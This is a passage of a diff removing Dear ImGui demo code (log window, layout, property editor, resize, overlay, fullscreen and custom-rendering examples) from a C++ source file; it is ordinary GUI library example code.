possible (and would be recommended if you want to search through tens of thousands of entries). - ImGuiListClipper clipper; - clipper.Begin(LineOffsets.Size); - while (clipper.Step()) - { - for (int line_no = clipper.DisplayStart; line_no < clipper.DisplayEnd; line_no++) - { - const char* line_start = buf + LineOffsets[line_no]; - const char* line_end = (line_no + 1 < LineOffsets.Size) ? (buf + LineOffsets[line_no + 1] - 1) : buf_end; - ImGui::TextUnformatted(line_start, line_end); - } - } - clipper.End(); - } - ImGui::PopStyleVar(); - - if (AutoScroll && ImGui::GetScrollY() >= ImGui::GetScrollMaxY()) - ImGui::SetScrollHereY(1.0f); - - ImGui::EndChild(); - ImGui::End(); - } -}; - -// Demonstrate creating a simple log window with basic filtering. -static void ShowExampleAppLog(bool* p_open) -{ - static ExampleAppLog log; - - // For the demo: add a debug button _BEFORE_ the normal log window contents - // We take advantage of a rarely used feature: multiple calls to Begin()/End() are appending to the _same_ window. - // Most of the contents of the window will be added by the log.Draw() call. - ImGui::SetNextWindowSize(ImVec2(500, 400), ImGuiCond_FirstUseEver); - ImGui::Begin("Example: Log", p_open); - if (ImGui::SmallButton("[Debug] Add 5 entries")) - { - static int counter = 0; - const char* categories[3] = { "info", "warn", "error" }; - const char* words[] = { "Bumfuzzled", "Cattywampus", "Snickersnee", "Abibliophobia", "Absquatulate", "Nincompoop", "Pauciloquent" }; - for (int n = 0; n < 5; n++) - { - const char* category = categories[counter % IM_ARRAYSIZE(categories)]; - const char* word = words[counter % IM_ARRAYSIZE(words)]; - log.AddLog("[%05d] [%s] Hello, current time is %.1f, here's a word: '%s'\n", - ImGui::GetFrameCount(), category, ImGui::GetTime(), word); - counter++; - } - } - ImGui::End(); - - // Actually call in the regular Log helper (which will Begin() into the same window as we just did) - log.Draw("Example: Log", p_open); -} - -//----------------------------------------------------------------------------- -// [SECTION] Example App: Simple Layout / ShowExampleAppLayout() -//----------------------------------------------------------------------------- - -// Demonstrate create a window with multiple child windows. -static void ShowExampleAppLayout(bool* p_open) -{ - ImGui::SetNextWindowSize(ImVec2(500, 440), ImGuiCond_FirstUseEver); - if (ImGui::Begin("Example: Simple layout", p_open, ImGuiWindowFlags_MenuBar)) - { - if (ImGui::BeginMenuBar()) - { - if (ImGui::BeginMenu("File")) - { - if (ImGui::MenuItem("Close")) *p_open = false; - ImGui::EndMenu(); - } - ImGui::EndMenuBar(); - } - - // Left - static int selected = 0; - { - ImGui::BeginChild("left pane", ImVec2(150, 0), true); - for (int i = 0; i < 100; i++) - { - char label[128]; - sprintf(label, "MyObject %d", i); - if (ImGui::Selectable(label, selected == i)) - selected = i; - } - ImGui::EndChild(); - } - ImGui::SameLine(); - - // Right - { - ImGui::BeginGroup(); - ImGui::BeginChild("item view", ImVec2(0, -ImGui::GetFrameHeightWithSpacing())); // Leave room for 1 line below us - ImGui::Text("MyObject: %d", selected); - ImGui::Separator(); - if (ImGui::BeginTabBar("##Tabs", ImGuiTabBarFlags_None)) - { - if (ImGui::BeginTabItem("Description")) - { - ImGui::TextWrapped("Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. "); - ImGui::EndTabItem(); - } - if (ImGui::BeginTabItem("Details")) - { - ImGui::Text("ID: 0123456789"); - ImGui::EndTabItem(); - } - ImGui::EndTabBar(); - } - ImGui::EndChild(); - if (ImGui::Button("Revert")) {} - ImGui::SameLine(); - if (ImGui::Button("Save")) {} - ImGui::EndGroup(); - } - } - ImGui::End(); -} - -//----------------------------------------------------------------------------- -// [SECTION] Example App: Property Editor / ShowExampleAppPropertyEditor() -//----------------------------------------------------------------------------- - -static void ShowPlaceholderObject(const char* prefix, int uid) -{ - // Use object uid as identifier. Most commonly you could also use the object pointer as a base ID. - ImGui::PushID(uid); - - // Text and Tree nodes are less high than framed widgets, using AlignTextToFramePadding() we add vertical spacing to make the tree lines equal high. - ImGui::TableNextRow(); - ImGui::TableSetColumnIndex(0); - ImGui::AlignTextToFramePadding(); - bool node_open = ImGui::TreeNode("Object", "%s_%u", prefix, uid); - ImGui::TableSetColumnIndex(1); - ImGui::Text("my sailor is rich"); - - if (node_open) - { - static float placeholder_members[8] = { 0.0f, 0.0f, 1.0f, 3.1416f, 100.0f, 999.0f }; - for (int i = 0; i < 8; i++) - { - ImGui::PushID(i); // Use field index as identifier. - if (i < 2) - { - ShowPlaceholderObject("Child", 424242); - } - else - { - // Here we use a TreeNode to highlight on hover (we could use e.g. Selectable as well) - ImGui::TableNextRow(); - ImGui::TableSetColumnIndex(0); - ImGui::AlignTextToFramePadding(); - ImGuiTreeNodeFlags flags = ImGuiTreeNodeFlags_Leaf | ImGuiTreeNodeFlags_NoTreePushOnOpen | ImGuiTreeNodeFlags_Bullet; - ImGui::TreeNodeEx("Field", flags, "Field_%d", i); - - ImGui::TableSetColumnIndex(1); - ImGui::SetNextItemWidth(-FLT_MIN); - if (i >= 5) - ImGui::InputFloat("##value", &placeholder_members[i], 1.0f); - else - ImGui::DragFloat("##value", &placeholder_members[i], 0.01f); - ImGui::NextColumn(); - } - ImGui::PopID(); - } - ImGui::TreePop(); - } - ImGui::PopID(); -} - -// Demonstrate create a simple property editor. -static void ShowExampleAppPropertyEditor(bool* p_open) -{ - ImGui::SetNextWindowSize(ImVec2(430, 450), ImGuiCond_FirstUseEver); - if (!ImGui::Begin("Example: Property editor", p_open)) - { - ImGui::End(); - return; - } - - HelpMarker( - "This example shows how you may implement a property editor using two columns.\n" - "All objects/fields data are dummies here.\n" - "Remember that in many simple cases, you can use ImGui::SameLine(xxx) to position\n" - "your cursor horizontally instead of using the Columns() API."); - - ImGui::PushStyleVar(ImGuiStyleVar_FramePadding, ImVec2(2, 2)); - if (ImGui::BeginTable("split", 2, ImGuiTableFlags_BordersOuter | ImGuiTableFlags_Resizable)) - { - // Iterate placeholder objects (all the same data) - for (int obj_i = 0; obj_i < 4; obj_i++) - { - ShowPlaceholderObject("Object", obj_i); - //ImGui::Separator(); - } - ImGui::EndTable(); - } - ImGui::PopStyleVar(); - ImGui::End(); -} - -//----------------------------------------------------------------------------- -// [SECTION] Example App: Long Text / ShowExampleAppLongText() -//----------------------------------------------------------------------------- - -// Demonstrate/test rendering huge amount of text, and the incidence of clipping. -static void ShowExampleAppLongText(bool* p_open) -{ - ImGui::SetNextWindowSize(ImVec2(520, 600), ImGuiCond_FirstUseEver); - if (!ImGui::Begin("Example: Long text display", p_open)) - { - ImGui::End(); - return; - } - - static int test_type = 0; - static ImGuiTextBuffer log; - static int lines = 0; - ImGui::Text("Printing unusually long amount of text."); - ImGui::Combo("Test type", &test_type, - "Single call to TextUnformatted()\0" - "Multiple calls to Text(), clipped\0" - "Multiple calls to Text(), not clipped (slow)\0"); - ImGui::Text("Buffer contents: %d lines, %d bytes", lines, log.size()); - if (ImGui::Button("Clear")) { log.clear(); lines = 0; } - ImGui::SameLine(); - if (ImGui::Button("Add 1000 lines")) - { - for (int i = 0; i < 1000; i++) - log.appendf("%i The quick brown fox jumps over the lazy dog\n", lines + i); - lines += 1000; - } - ImGui::BeginChild("Log"); - switch (test_type) - { - case 0: - // Single call to TextUnformatted() with a big buffer - ImGui::TextUnformatted(log.begin(), log.end()); - break; - case 1: - { - // Multiple calls to Text(), manually coarsely clipped - demonstrate how to use the ImGuiListClipper helper. - ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(0, 0)); - ImGuiListClipper clipper; - clipper.Begin(lines); - while (clipper.Step()) - for (int i = clipper.DisplayStart; i < clipper.DisplayEnd; i++) - ImGui::Text("%i The quick brown fox jumps over the lazy dog", i); - ImGui::PopStyleVar(); - break; - } - case 2: - // Multiple calls to Text(), not clipped (slow) - ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(0, 0)); - for (int i = 0; i < lines; i++) - ImGui::Text("%i The quick brown fox jumps over the lazy dog", i); - ImGui::PopStyleVar(); - break; - } - ImGui::EndChild(); - ImGui::End(); -} - -//----------------------------------------------------------------------------- -// [SECTION] Example App: Auto Resize / ShowExampleAppAutoResize() -//----------------------------------------------------------------------------- - -// Demonstrate creating a window which gets auto-resized according to its content. -static void ShowExampleAppAutoResize(bool* p_open) -{ - if (!ImGui::Begin("Example: Auto-resizing window", p_open, ImGuiWindowFlags_AlwaysAutoResize)) - { - ImGui::End(); - return; - } - - static int lines = 10; - ImGui::TextUnformatted( - "Window will resize every-frame to the size of its content.\n" - "Note that you probably don't want to query the window size to\n" - "output your content because that would create a feedback loop."); - ImGui::SliderInt("Number of lines", &lines, 1, 20); - for (int i = 0; i < lines; i++) - ImGui::Text("%*sThis is line %d", i * 4, "", i); // Pad with space to extend size horizontally - ImGui::End(); -} - -//----------------------------------------------------------------------------- -// [SECTION] Example App: Constrained Resize / ShowExampleAppConstrainedResize() -//----------------------------------------------------------------------------- - -// Demonstrate creating a window with custom resize constraints. -static void ShowExampleAppConstrainedResize(bool* p_open) -{ - struct CustomConstraints - { - // Helper functions to demonstrate programmatic constraints - static void Square(ImGuiSizeCallbackData* data) { data->DesiredSize.x = data->DesiredSize.y = IM_MAX(data->DesiredSize.x, data->DesiredSize.y); } - static void Step(ImGuiSizeCallbackData* data) { float step = (float)(int)(intptr_t)data->UserData; data->DesiredSize = ImVec2((int)(data->DesiredSize.x / step + 0.5f) * step, (int)(data->DesiredSize.y / step + 0.5f) * step); } - }; - - const char* test_desc[] = - { - "Resize vertical only", - "Resize horizontal only", - "Width > 100, Height > 100", - "Width 400-500", - "Height 400-500", - "Custom: Always Square", - "Custom: Fixed Steps (100)", - }; - - static bool auto_resize = false; - static int type = 0; - static int display_lines = 10; - if (type == 0) ImGui::SetNextWindowSizeConstraints(ImVec2(-1, 0), ImVec2(-1, FLT_MAX)); // Vertical only - if (type == 1) ImGui::SetNextWindowSizeConstraints(ImVec2(0, -1), ImVec2(FLT_MAX, -1)); // Horizontal only - if (type == 2) ImGui::SetNextWindowSizeConstraints(ImVec2(100, 100), ImVec2(FLT_MAX, FLT_MAX)); // Width > 100, Height > 100 - if (type == 3) ImGui::SetNextWindowSizeConstraints(ImVec2(400, -1), ImVec2(500, -1)); // Width 400-500 - if (type == 4) ImGui::SetNextWindowSizeConstraints(ImVec2(-1, 400), ImVec2(-1, 500)); // Height 400-500 - if (type == 5) ImGui::SetNextWindowSizeConstraints(ImVec2(0, 0), ImVec2(FLT_MAX, FLT_MAX), CustomConstraints::Square); // Always Square - if (type == 6) ImGui::SetNextWindowSizeConstraints(ImVec2(0, 0), ImVec2(FLT_MAX, FLT_MAX), CustomConstraints::Step, (void*)(intptr_t)100); // Fixed Step - - ImGuiWindowFlags flags = auto_resize ? ImGuiWindowFlags_AlwaysAutoResize : 0; - if (ImGui::Begin("Example: Constrained Resize", p_open, flags)) - { - if (ImGui::Button("200x200")) { ImGui::SetWindowSize(ImVec2(200, 200)); } ImGui::SameLine(); - if (ImGui::Button("500x500")) { ImGui::SetWindowSize(ImVec2(500, 500)); } ImGui::SameLine(); - if (ImGui::Button("800x200")) { ImGui::SetWindowSize(ImVec2(800, 200)); } - ImGui::SetNextItemWidth(200); - ImGui::Combo("Constraint", &type, test_desc, IM_ARRAYSIZE(test_desc)); - ImGui::SetNextItemWidth(200); - ImGui::DragInt("Lines", &display_lines, 0.2f, 1, 100); - ImGui::Checkbox("Auto-resize", &auto_resize); - for (int i = 0; i < display_lines; i++) - ImGui::Text("%*sHello, sailor! Making this line long enough for the example.", i * 4, ""); - } - ImGui::End(); -} - -//----------------------------------------------------------------------------- -// [SECTION] Example App: Simple overlay / ShowExampleAppSimpleOverlay() -//----------------------------------------------------------------------------- - -// Demonstrate creating a simple static window with no decoration -// + a context-menu to choose which corner of the screen to use. -static void ShowExampleAppSimpleOverlay(bool* p_open) -{ - const float PAD = 10.0f; - static int corner = 0; - ImGuiIO& io = ImGui::GetIO(); - ImGuiWindowFlags window_flags = ImGuiWindowFlags_NoDecoration | ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoSavedSettings | ImGuiWindowFlags_NoFocusOnAppearing | ImGuiWindowFlags_NoNav; - if (corner != -1) - { - const ImGuiViewport* viewport = ImGui::GetMainViewport(); - ImVec2 work_pos = viewport->WorkPos; // Use work area to avoid menu-bar/task-bar, if any! - ImVec2 work_size = viewport->WorkSize; - ImVec2 window_pos, window_pos_pivot; - window_pos.x = (corner & 1) ? (work_pos.x + work_size.x - PAD) : (work_pos.x + PAD); - window_pos.y = (corner & 2) ? (work_pos.y + work_size.y - PAD) : (work_pos.y + PAD); - window_pos_pivot.x = (corner & 1) ? 1.0f : 0.0f; - window_pos_pivot.y = (corner & 2) ? 1.0f : 0.0f; - ImGui::SetNextWindowPos(window_pos, ImGuiCond_Always, window_pos_pivot); - window_flags |= ImGuiWindowFlags_NoMove; - } - ImGui::SetNextWindowBgAlpha(0.35f); // Transparent background - if (ImGui::Begin("Example: Simple overlay", p_open, window_flags)) - { - ImGui::Text("Simple overlay\n" "in the corner of the screen.\n" "(right-click to change position)"); - ImGui::Separator(); - if (ImGui::IsMousePosValid()) - ImGui::Text("Mouse Position: (%.1f,%.1f)", io.MousePos.x, io.MousePos.y); - else - ImGui::Text("Mouse Position: "); - if (ImGui::BeginPopupContextWindow()) - { - if (ImGui::MenuItem("Custom", NULL, corner == -1)) corner = -1; - if (ImGui::MenuItem("Top-left", NULL, corner == 0)) corner = 0; - if (ImGui::MenuItem("Top-right", NULL, corner == 1)) corner = 1; - if (ImGui::MenuItem("Bottom-left", NULL, corner == 2)) corner = 2; - if (ImGui::MenuItem("Bottom-right", NULL, corner == 3)) corner = 3; - if (p_open && ImGui::MenuItem("Close")) *p_open = false; - ImGui::EndPopup(); - } - } - ImGui::End(); -} - -//----------------------------------------------------------------------------- -// [SECTION] Example App: Fullscreen window / ShowExampleAppFullscreen() -//----------------------------------------------------------------------------- - -// Demonstrate creating a window covering the entire screen/viewport -static void ShowExampleAppFullscreen(bool* p_open) -{ - static bool use_work_area = true; - static ImGuiWindowFlags flags = ImGuiWindowFlags_NoDecoration | ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoSavedSettings; - - // We demonstrate using the full viewport area or the work area (without menu-bars, task-bars etc.) - // Based on your use case you may want one of the other. - const ImGuiViewport* viewport = ImGui::GetMainViewport(); - ImGui::SetNextWindowPos(use_work_area ? viewport->WorkPos : viewport->Pos); - ImGui::SetNextWindowSize(use_work_area ? viewport->WorkSize : viewport->Size); - - if (ImGui::Begin("Example: Fullscreen window", p_open, flags)) - { - ImGui::Checkbox("Use work area instead of main area", &use_work_area); - ImGui::SameLine(); - HelpMarker("Main Area = entire viewport,\nWork Area = entire viewport minus sections used by the main menu bars, task bars etc.\n\nEnable the main-menu bar in Examples menu to see the difference."); - - ImGui::CheckboxFlags("ImGuiWindowFlags_NoBackground", &flags, ImGuiWindowFlags_NoBackground); - ImGui::CheckboxFlags("ImGuiWindowFlags_NoDecoration", &flags, ImGuiWindowFlags_NoDecoration); - ImGui::Indent(); - ImGui::CheckboxFlags("ImGuiWindowFlags_NoTitleBar", &flags, ImGuiWindowFlags_NoTitleBar); - ImGui::CheckboxFlags("ImGuiWindowFlags_NoCollapse", &flags, ImGuiWindowFlags_NoCollapse); - ImGui::CheckboxFlags("ImGuiWindowFlags_NoScrollbar", &flags, ImGuiWindowFlags_NoScrollbar); - ImGui::Unindent(); - - if (p_open && ImGui::Button("Close this window")) - *p_open = false; - } - ImGui::End(); -} - -//----------------------------------------------------------------------------- -// [SECTION] Example App: Manipulating Window Titles / ShowExampleAppWindowTitles() -//----------------------------------------------------------------------------- - -// Demonstrate using "##" and "###" in identifiers to manipulate ID generation. -// This apply to all regular items as well. -// Read FAQ section "How can I have multiple widgets with the same label?" for details. -static void ShowExampleAppWindowTitles(bool*) -{ - const ImGuiViewport* viewport = ImGui::GetMainViewport(); - const ImVec2 base_pos = viewport->Pos; - - // By default, Windows are uniquely identified by their title. - // You can use the "##" and "###" markers to manipulate the display/ID. - - // Using "##" to display same title but have unique identifier. - ImGui::SetNextWindowPos(ImVec2(base_pos.x + 100, base_pos.y + 100), ImGuiCond_FirstUseEver); - ImGui::Begin("Same title as another window##1"); - ImGui::Text("This is window 1.\nMy title is the same as window 2, but my identifier is unique."); - ImGui::End(); - - ImGui::SetNextWindowPos(ImVec2(base_pos.x + 100, base_pos.y + 200), ImGuiCond_FirstUseEver); - ImGui::Begin("Same title as another window##2"); - ImGui::Text("This is window 2.\nMy title is the same as window 1, but my identifier is unique."); - ImGui::End(); - - // Using "###" to display a changing title but keep a static identifier "AnimatedTitle" - char buf[128]; - sprintf(buf, "Animated title %c %d###AnimatedTitle", "|/-\\"[(int)(ImGui::GetTime() / 0.25f) & 3], ImGui::GetFrameCount()); - ImGui::SetNextWindowPos(ImVec2(base_pos.x + 100, base_pos.y + 300), ImGuiCond_FirstUseEver); - ImGui::Begin(buf); - ImGui::Text("This window has a changing title."); - ImGui::End(); -} - -//----------------------------------------------------------------------------- -// [SECTION] Example App: Custom Rendering using ImDrawList API / ShowExampleAppCustomRendering() -//----------------------------------------------------------------------------- - -// Demonstrate using the low-level ImDrawList to draw custom shapes. -static void ShowExampleAppCustomRendering(bool* p_open) -{ - if (!ImGui::Begin("Example: Custom rendering", p_open)) - { - ImGui::End(); - return; - } - - // Tip: If you do a lot of custom rendering, you probably want to use your own geometrical types and benefit of - // overloaded operators, etc. Define IM_VEC2_CLASS_EXTRA in imconfig.h to create implicit conversions between your - // types and ImVec2/ImVec4. Dear ImGui defines overloaded operators but they are internal to imgui.cpp and not - // exposed outside (to avoid messing with your types) In this example we are not using the maths operators! - - if (ImGui::BeginTabBar("##TabBar")) - { - if (ImGui::BeginTabItem("Primitives")) - { - ImGui::PushItemWidth(-ImGui::GetFontSize() * 15); - ImDrawList* draw_list = ImGui::GetWindowDrawList(); - - // Draw gradients - // (note that those are currently exacerbating our sRGB/Linear issues) - // Calling ImGui::GetColorU32() multiplies the given colors by the current Style Alpha, but you may pass the IM_COL32() directly as well.. - ImGui::Text("Gradients"); - ImVec2 gradient_size = ImVec2(ImGui::CalcItemWidth(), ImGui::GetFrameHeight()); - { - ImVec2 p0 = ImGui::GetCursorScreenPos(); - ImVec2 p1 = ImVec2(p0.x + gradient_size.x, p0.y + gradient_size.y); - ImU32 col_a = ImGui::GetColorU32(IM_COL32(0, 0, 0, 255)); - ImU32 col_b = ImGui::GetColorU32(IM_COL32(255, 255, 255, 255)); - draw_list->AddRectFilledMultiColor(p0, p1, col_a, col_b, col_b, col_a); - ImGui::InvisibleButton("##gradient1", gradient_size); - } - { - ImVec2 p0 = ImGui::GetCursorScreenPos(); - ImVec2 p1 = ImVec2(p0.x + gradient_size.x, p0.y + gradient_size.y); - ImU32 col_a = ImGui::GetColorU32(IM_COL32(0, 255, 0, 255)); - ImU32 col_b = ImGui::GetColorU32(IM_COL32(255, 0, 0, 255)); - draw_list->AddRectFilledMultiColor(p0, p1, col_a, col_b, col_b, col_a); - ImGui::InvisibleButton("##gradient2", gradient_size); - } - - // Draw a bunch of primitives - ImGui::Text("All primitives"); - static float sz = 36.0f; - static float thickness = 3.0f; - static int ngon_sides = 6; - static bool circle_segments_override = false; - static int circle_segments_override_v = 12; - static bool curve_segments_override = false; - static int curve_segments_override_v = 8; - static ImVec4 colf = ImVec4(1.0f, 1.0f, 0.4f, 1.0f); - ImGui::DragFloat("Size", &sz, 0.2f, 2.0f, 100.0f, "%.0f"); - ImGui::DragFloat("Thickness", &thickness, 0.05f, 1.0f, 8.0f, "%.02f"); - ImGui::SliderInt("N-gon sides", &ngon_sides, 3, 12); - ImGui::Checkbox("##circlesegmentoverride", &circle_segments_override); - ImGui::SameLine(0.0f, ImGui::GetStyle().ItemInnerSpacing.x); - circle_segments_override |= ImGui::SliderInt("Circle segments override", &circle_segments_override_v, 3, 40); - ImGui::Checkbox("##curvessegmentoverride", &curve_segments_override); - ImGui::SameLine(0.0f, ImGui::GetStyle().ItemInnerSpacing.x); - curve_segments_override |= ImGui::SliderInt("Curves segments override", &curve_segments_override_v, 3, 40); - ImGui::ColorEdit4("Color", &colf.x); - - const ImVec2 p = ImGui::GetCursorScreenPos(); - const ImU32 col = ImColor(colf); - const float spacing = 10.0f; - const ImDrawCornerFlags corners_none = 0; - const ImDrawCornerFlags corners_all = ImDrawCornerFlags_All; - const ImDrawCornerFlags corners_tl_br = ImDrawCornerFlags_TopLeft | ImDrawCornerFlags_BotRight; - const float rounding = sz / 5.0f; - const int circle_segments = circle_segments_override ? circle_segments_override_v : 0; - const int curve_segments = curve_segments_override ? curve_segments_override_v : 0; - float x = p.x + 4.0f; - float y = p.y + 4.0f; - for (int n = 0; n < 2; n++) - { - // First line uses a thickness of 1.0f, second line uses the configurable thickness - float th = (n == 0) ? 1.0f : thickness; - draw_list->AddNgon(ImVec2(x + sz*0.5f, y + sz*0.5f), sz*0.5f, col, ngon_sides, th); x += sz + spacing; // N-gon - draw_list->AddCircle(ImVec2(x + sz*0.5f, y + sz*0.5f), sz*0.5f, col, circle_segments, th); x += sz + spacing; // Circle - draw_list->AddRect(ImVec2(x, y), ImVec2(x + sz, y + sz), col, 0.0f, corners_none, th); x += sz + spacing; // Square - draw_list->AddRect(ImVec2(x, y), ImVec2(x + sz, y + sz), col, rounding, corners_all, th); x += sz + spacing; // Square with all rounded corners - draw_list->AddRect(ImVec2(x, y), ImVec2(x + sz, y + sz), col, rounding, corners_tl_br, th); x += sz + spacing; // Square with two rounded corners - draw_list->AddTriangle(ImVec2(x+sz*0.5f,y), ImVec2(x+sz, y+sz-0.5f), ImVec2(x, y+sz-0.5f), col, th);x += sz + spacing; // Triangle - //draw_list->AddTriangle(ImVec2(x+sz*0.2f,y), ImVec2(x, y+sz-0.5f), ImVec2(x+sz*0.4f, y+sz-0.5f), col, th);x+= sz*0.4f + spacing; // Thin triangle - draw_list->AddLine(ImVec2(x, y), ImVec2(x + sz, y), col, th); x += sz + spacing; // Horizontal line (note: drawing a filled rectangle will be faster!) - draw_list->AddLine(ImVec2(x, y), ImVec2(x, y + sz), col, th); x += spacing; // Vertical line (note: drawing a filled rectangle will be faster!) - draw_list->AddLine(ImVec2(x, y), ImVec2(x + sz, y + sz), col, th); x += sz + spacing; // Diagonal line - - // Quadratic Bezier Curve (3 control points) - ImVec2 cp3[3] = { ImVec2(x, y + sz * 0.6f), ImVec2(x + sz * 0.5f, y - sz * 0.4f), ImVec2(x + sz, y + sz) }; - draw_list->AddBezierQuadratic(cp3[0], cp3[1], cp3[2], col, th, curve_segments); x += sz + spacing; - - // Cubic Bezier Curve (4 control points) - ImVec2 cp4[4] = { ImVec2(x, y), ImVec2(x + sz * 1.3f, y + sz * 0.3f), ImVec2(x + sz - sz * 1.3f, y + sz - sz * 0.3f), ImVec2(x + sz, y + sz) }; - draw_list->AddBezierCubic(cp4[0], cp4[1], cp4[2], cp4[3], col, th, curve_segments); - - x = p.x + 4; - y += sz + spacing; - } - draw_list->AddNgonFilled(ImVec2(x + sz * 0.5f, y + sz * 0.5f), sz*0.5f, col, ngon_sides); x += sz + spacing; // N-gon - draw_list->AddCircleFilled(ImVec2(x + sz*0.5f, y + sz*0.5f), sz*0.5f, col, circle_segments); x += sz + spacing; // Circle - draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + sz, y + sz), col); x += sz + spacing; // Square - draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + sz, y + sz), col, 10.0f); x += sz + spacing; // Square with all rounded corners - draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + sz, y + sz), col, 10.0f, corners_tl_br); x += sz + spacing; // Square with two rounded corners - draw_list->AddTriangleFilled(ImVec2(x+sz*0.5f,y), ImVec2(x+sz, y+sz-0.5f), ImVec2(x, y+sz-0.5f), col); x += sz + spacing; // Triangle - //draw_list->AddTriangleFilled(ImVec2(x+sz*0.2f,y), ImVec2(x, y+sz-0.5f), ImVec2(x+sz*0.4f, y+sz-0.5f), col); x += sz*0.4f + spacing; // Thin triangle - draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + sz, y + thickness), col); x += sz + spacing; // Horizontal line (faster than AddLine, but only handle integer thickness) - draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + thickness, y + sz), col); x += spacing * 2.0f;// Vertical line (faster than AddLine, but only handle integer thickness) - draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + 1, y + 1), col); x += sz; // Pixel (faster than AddLine) - draw_list->AddRectFilledMultiColor(ImVec2(x, y), ImVec2(x + sz, y + sz), IM_COL32(0, 0, 0, 255), IM_COL32(255, 0, 0, 255), IM_COL32(255, 255, 0, 255), IM_COL32(0, 255, 0, 255)); - - ImGui::Dummy(ImVec2((sz + spacing) * 10.2f, (sz + spacing) * 3.0f)); - ImGui::PopItemWidth(); - ImGui::EndTabItem(); - } - - if (ImGui::BeginTabItem("Canvas")) - { - static ImVector points; - static ImVec2 scrolling(0.0f, 0.0f); - static bool opt_enable_grid = true; - static bool opt_enable_context_menu = true; - static bool adding_line = false; - - ImGui::Checkbox("Enable grid", &opt_enable_grid); - ImGui::Checkbox("Enable context menu", &opt_enable_context_menu); - ImGui::Text("Mouse Left: drag to add lines,\nMouse Right: drag to scroll, click for context menu."); - - // Typically you would use a BeginChild()/EndChild() pair to benefit from a clipping region + own scrolling. - // Here we demonstrate that this can be replaced by simple offsetting + custom drawing + PushClipRect/PopClipRect() calls. - // To use a child window instead we could use, e.g: - // ImGui::PushStyleVar(ImGuiStyleVar_WindowPadding, ImVec2(0, 0)); // Disable padding - // ImGui::PushStyleColor(ImGuiCol_ChildBg, IM_COL32(50, 50, 50, 255)); // Set a background color - // ImGui::BeginChild("canvas", ImVec2(0.0f, 0.0f), true, ImGuiWindowFlags_NoMove); - // ImGui::PopStyleColor(); - // ImGui::PopStyleVar(); - // [...] - // ImGui::EndChild(); - - // Using InvisibleButton() as a convenience 1) it will advance the layout cursor and 2) allows us to use IsItemHovered()/IsItemActive() - ImVec2 canvas_p0 = ImGui::GetCursorScreenPos(); // ImDrawList API uses screen coordinates! - ImVec2 canvas_sz = ImGui::GetContentRegionAvail(); // Resize canvas to what's available - if (canvas_sz.x < 50.0f) canvas_sz.x = 50.0f; - if (canvas_sz.y < 50.0f) canvas_sz.y = 50.0f; - ImVec2 canvas_p1 = ImVec2(canvas_p0.x + canvas_sz.x, canvas_p0.y + canvas_sz.y); - - // Draw border and background color - ImGuiIO& io = ImGui::GetIO(); - ImDrawList* draw_list = ImGui::GetWindowDrawList(); - draw_list->AddRectFilled(canvas_p0, canvas_p1, IM_COL32(50, 50, 50, 255)); - draw_list->AddRect(canvas_p0, canvas_p1, IM_COL32(255, 255, 255, 255)); - - // This will catch our interactions - ImGui::InvisibleButton("canvas", canvas_sz, ImGuiButtonFlags_MouseButtonLeft | ImGuiButtonFlags_MouseButtonRight); - const bool is_hovered = ImGui::IsItemHovered(); // Hovered - const bool is_active = ImGui::IsItemActive(); // Held - const ImVec2 origin(canvas_p0.x + scrolling.x, canvas_p0.y + scrolling.y); // Lock scrolled origin - const ImVec2 mouse_pos_in_canvas(io.MousePos.x - origin.x, io.MousePos.y - origin.y); - - // Add first and second point - if (is_hovered && !adding_line && ImGui::IsMouseClicked(ImGuiMouseButton_Left)) - { - points.push_back(mouse_pos_in_canvas); - points.push_back(mouse_pos_in_canvas); - adding_line = true; - } - if (adding_line) - { - points.back() = mouse_pos_in_canvas; - if (!ImGui::IsMouseDown(ImGuiMouseButton_Left)) - adding_line = false; - } - - // Pan (we use a zero mouse threshold when there's no context menu) - // You may decide to make that threshold dynamic based on whether the mouse is hovering something etc. - const float mouse_threshold_for_pan = opt_enable_context_menu ? -1.0f : 0.0f; - if (is_active && ImGui::IsMouseDragging(ImGuiMouseButton_Right, mouse_threshold_for_pan)) - { - scrolling.x += io.MouseDelta.x; - scrolling.y += io.MouseDelta.y; - } - - // Context menu (under default mouse threshold) - ImVec2 drag_delta = ImGui::GetMouseDragDelta(ImGuiMouseButton_Right); - if (opt_enable_context_menu && ImGui::IsMouseReleased(ImGuiMouseButton_Right) && drag_delta.x == 0.0f && drag_delta.y == 0.0f) - ImGui::OpenPopupOnItemClick("context"); - if (ImGui::BeginPopup("context")) - { - if (adding_line) - points.resize(points.size() - 2); - adding_line = false; - if (ImGui::MenuItem("Remove one", NULL, false, points.Size > 0)) { points.resize(points.size() - 2); } - if (ImGui::MenuItem("Remove all", NULL, false, points.Size > 0)) { points.clear(); } - ImGui::EndPopup(); - } - - // Draw grid + all lines in the canvas - draw_list->PushClipRect(canvas_p0, canvas_p1, true); - if (opt_enable_grid) - { - const float GRID_STEP = 64.0f; - for (float x = fmodf(scrolling.x, GRID_STEP); x < canvas_sz.x; x += GRID_STEP) - draw_list->AddLine(ImVec2(canvas_p0.x + x, canvas_p0.y), ImVec2(canvas_p0.x + x, canvas_p1.y), IM_COL32(200, 200, 200, 40)); - for (float y = fmodf(scrolling.y, GRID_STEP); y < canvas_sz.y; y += GRID_STEP) - draw_list->AddLine(ImVec2(canvas_p0.x, canvas_p0.y + y), ImVec2(canvas_p1.x, canvas_p0.y + y), IM_COL32(200, 200, 200, 40)); - } - for (int n = 0; n < points.Size; n += 2) - draw_list->AddLine(ImVec2(origin.x + points[n].x, origin.y + points[n].y), ImVec2(origin.x + points[n + 1].x, origin.y + points[n + 1].y), IM_COL32(255, 255, 0, 255), 2.0f); - draw_list->PopClipRect(); - - ImGui::EndTabItem(); - } - - if (ImGui::BeginTabItem("BG/FG draw lists")) - { - static bool draw_bg = true; - static bool draw_fg = true; - ImGui::Checkbox("Draw in Background draw list", &draw_bg); - ImGui::SameLine(); HelpMarker("The Background draw list will be rendered below every Dear ImGui windows."); - ImGui::Checkbox("Draw in 